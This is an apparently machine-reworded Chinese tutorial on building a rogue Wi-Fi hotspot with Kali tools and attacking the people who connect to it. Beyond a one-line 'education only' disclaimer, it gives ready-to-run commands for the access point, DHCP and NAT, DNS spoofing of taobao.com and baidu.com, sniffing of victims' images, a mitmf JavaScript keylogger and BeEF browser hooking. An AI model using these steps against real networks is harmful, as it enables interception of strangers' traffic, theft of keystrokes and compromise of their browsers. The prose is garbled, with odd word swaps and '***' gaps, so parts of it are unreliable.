原文中谈及的一部分技术性很有可能含有一定攻击能力，仅作安全知识教育和课堂教学主要用途，严禁不法应用。请不要做一只咖啡厅里清静的猥琐大叔。

写在前面

从最少一年前我也一直想在自身跑kali的笔记本电脑发布个钓鱼热点。殊不知因为在网上的实例教程的nat写的有什么问题，他人写好的脚本 *** 与我电脑上有一些互相喜欢，最贴近取得成功的一次只保证了qq能闲聊，百度搜索都提不上。

而近期突然观念到难题的所属，取得成功完成了创建wifi热点，dns劫持，js引入，图片 *** 嗅探，和BEEF融合对客户电脑浏览器开展进攻检测。

故写此篇共享给大伙儿，期待与以前的是我一样疑惑的同志们能有一定的获得。

创建热点

专用工具：isc-dhcp-server ；Aircrack-ng模块；iptables

创建全过程：

更先写dhcp环境变量/etc/dhcp/dhcpd.conf

载入以下內容：

authoritative;

default-lease-time 700;

max-lease-time 8000;

subnet 10.0.0.0 netmask 255.255.255.0{

option routers 10.0.0.1;

option subnet-mask 255.255.255.0;

option domain-name-servers 10.0.0.1;

range 10.0.0.10 10.0.0.100;

}

这儿以10.0.0.1做为网关ip和dns服务器ip。

随后大家解决无线接收器

ifconfig wlan1 down #wlan1改动成你的网口

iwconfig wlan1 mode monitor

ifconfig wlan1 up

airmon-ng start wlan1

所述指令能够避免出现：Error: Got channel -1, expected a value > 0.

随后用airbase创建热点

airbase-ng -e Fishing -c 11 mon0

热点的数据流量会被虚似到at0这方面网口上边

ifconfig at0 up

ifconfig at0 10.0.0.1 netmask 255.255.255.0

route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

开启ip分享

echo 1 > /proc/sys/net/ipv4/ip_forward

打开dhcp

dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0

service isc-dhcp-server start

随后能够尝试用手机连接，应当能够连上去但不能上网

因此配备NAT

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #对eth0开展源nat

iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT #把无线接收器总流量分享到有线网卡（或是哪些能上网的网口）上边

iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356 #改动较大 报文格式段距离

留意那第三个指令调节MSS，不用后果自负（我也一直死在这儿）

（这儿很有可能還是DNS不正确，可以看后原文中的dns *** 服务器架设）

劫持DNS

专用工具：dnschef

全过程：

dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53

所述指令是以ip10.0.0.1（上原文中的fakeap网关ip和DNS的ip）创建dns，针对全部要求分享到210.73.64.1开展分析。显而易见这仅仅个“ *** 商”并沒有劫持的作用

因此大家演变：

dnschef --fakedomains=taobao.com,baidu.com --fakeip=10.0.0.1 -i 10.0.0.1 --nameserver 210.73.64.1#53

把 *** 网和百度搜索分析到该设备了。

当然可以把大量标准写在文档里：

剩余的大伙儿充分发挥吧。

p.s:这一和后原文中mitmf矛盾，mitmf鉴别http协议书中的目地服务器,开展分享,不会受到这一dns仿冒危害。

图片 *** 嗅探

这是一个很好玩儿的作用

专用工具：driftnet

全过程：

driftnet -i at0

随后程序流程会开启一个小窗口表明全部传送的图片：

点击图片储存到/

当然可以打开 Adjunct mode：

driftnet -i at0 -a

立即储存图片并表明文件夹名称。

劫持Web总流量

这一更好玩儿

专用工具：BEEF;mitmf;iptables

全过程：

先把80端口的总流量劫持走（这儿10000是mitmf默认设置监视端口号）

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

随后开启mitmf

mitmf -i at0 --replace --search-str aaaaa --replace-str bbbbb#把所有网站中的aaaaa换成bbbbb

图中百度了aaaaa

行吧不必捉弄了，上干货知识

mitmf -i at0 --inject --js-url --jskeylogger

mitmf在这儿引入了js键盘记录器

和beef的进攻检测脚本 *** ，其他的拒绝服务攻击（例如javapwn）能够参照

最终用BEEF检测客户浏览器吧！

/usr/share/beef-xss/beef

打开浏览器 ，原始登录名和登陆密码全是beef